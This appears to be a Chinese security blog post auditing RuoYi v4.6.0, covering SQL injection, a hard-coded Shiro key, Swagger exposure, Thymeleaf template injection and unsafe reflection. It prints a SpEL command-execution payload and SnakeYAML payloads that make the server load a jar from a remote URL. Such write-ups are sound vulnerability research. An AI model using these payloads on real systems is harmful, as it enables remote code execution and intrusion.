点击上方蓝字·关注我们
由于传播、利用本公众号菜狗安全所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号菜狗安全及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,会立即删除并致歉。
项目介绍
环境搭建
漏洞挖掘
SQL注入
第一处(不存在)
第二处(存在)
Shiro硬编码
Swagger未授权
Thymeleaf模板注入
不安全的反射
最后
项目介绍
内置功能
-
用户管理:用户是系统操作者,该功能主要完成系统用户配置。
-
部门管理:配置系统组织机构(公司、部门、小组),树结构展现支持数据权限。
-
岗位管理:配置系统用户所属担任职务。
-
菜单管理:配置系统菜单,操作权限,按钮权限标识等。
-
角色管理:角色菜单权限分配、设置角色按机构进行数据范围权限划分。
-
字典管理:对系统中经常使用的一些较为固定的数据进行维护。
-
参数管理:对系统动态配置常用参数。
-
通知公告:系统通知公告信息发布维护。
-
操作日志:系统正常操作日志记录和查询;系统异常信息日志记录和查询。
-
登录日志:系统登录日志记录查询包含登录异常。
-
在线用户:当前系统中活跃用户状态监控。
-
定时任务:在线(添加、修改、删除)任务调度包含执行结果日志。
-
代码生成:前后端代码的生成(java、html、xml、sql)支持CRUD下载 。
-
系统接口:根据业务代码自动生成相关的api接口文档。
-
服务监控:监视当前系统CPU、内存、磁盘、堆栈等相关信息。
-
缓存监控:对系统的缓存查询,删除、清空等操作。
-
在线构建器:拖动表单元素生成相应的HTML代码。
-
连接池监视:监视当前系统数据库连接池状态,可进行分析SQL找出系统性能瓶颈。
环境搭建
项目地址:https://gitee.com/y_project/RuoYi/repository/archive/v4.6.0.zip
下载到本地后解压IDEA打开
修改数据库配置文件,并且创建对应数据库导入两个sql文件
文件路径:RuoYi-v4.6.0sql
SQL注入
项目介绍和pom.xml都能知道数据库接口使用的是mybatis
全局搜索关键词${
这里有两种,这里一个是存在注入的一个不存在,这里把两个都分析一下
第一处(不存在)
对应文件:RuoYi-v4.6.0ruoyi-systemsrcmainresourcesmappersystemSysDeptMapper.xml
这里对应的是updateDeptStatus方法,参数是ancestors,我们记一下
跳转到dao层
接着往上跟
第二处(存在)
{params.dataScope}这个写法我记得之前有写过一篇系统的注入也是这个写法,这种写法通常用于动态插入一些复杂的 SQL 片段,例如数据权限过滤条件。这种方式可以灵活地根据业务需求动态生成 SQL 语句
我们跳转到dao层往上跟到功能层
/system/role/authUser/allocatedList
这个可是说是ruoyi的代表漏洞了
通过系统介绍或者pom.xml都可以得知ruoyi使用了shiro,这里的版本是1.7.0
按道理来说是没漏洞的,但是ruoyi采用的是硬编码,把加密的key值写在了配置文件中
全局搜索cipherKey
直接使用工具利用
Swagger未授权
项目中存在Swagger依赖
这里可控的是fragment,通过post请求直接传
尝试构造访问,传入我们的poc
__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__
可以看到这里是断下来了,流程没问题,if是判断我们传入的类是否是一个有效类,这个正常传就行,那么我们就有开始想如何利用了
由于系统没有任意文件上传,不能尝试上传恶意类然后反射,那么只能从环境中现有的类入手。
由于这里执行的是Object bean = Class.forName(beanName).newInstance()要满足下面几个条件
-
1、类必须要有无参构造函数 .
-
2、类的构造函数不能是私有的 , 也就是不能通过 “
private
“ 修饰符来修饰构造函数 -
3、调用目标字符串的参数为:支持字符串,布尔类型,长整型,浮点型,整型
-
4、在满足上面三个条件后我们还得能够造成危害
org.yaml.snakeyaml.Yaml.load('序列化数据')
并且load方法是public
可以说是完美符合了
我们尝试传入利用poc
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager
[!!java.net.URLClassLoader [[!!java.net.URL ["http://o58dcubl.requestrepo.com://"]]]]')
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1/yaml-payload.jar"]]]]')
恶意jar包生成(自己写也可以使用下面项目也可以)
项目地址:https://github.com/artsploit/yaml-payload/
项目下载到本地解压idea打开,修改要执行的命令
这里执行的时候由于是命令行执行,要注意自己本地的javac版本,如果本地有多个java版本的话可能会出现javac版本是17,java是8的情况,到时候加载类的时候会报错
运行完成后会生成yaml-payload.jar文件,放到web服务上
然后执行我们设置好的计划任务
目前交流群人数超了只能邀请,需要进群交流的加作者微信备注交流群
性感群主不定期水群在线解答问题!
原文始发于微信公众号(菜狗安全):JAVA代审-RuoYi4.6.0
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论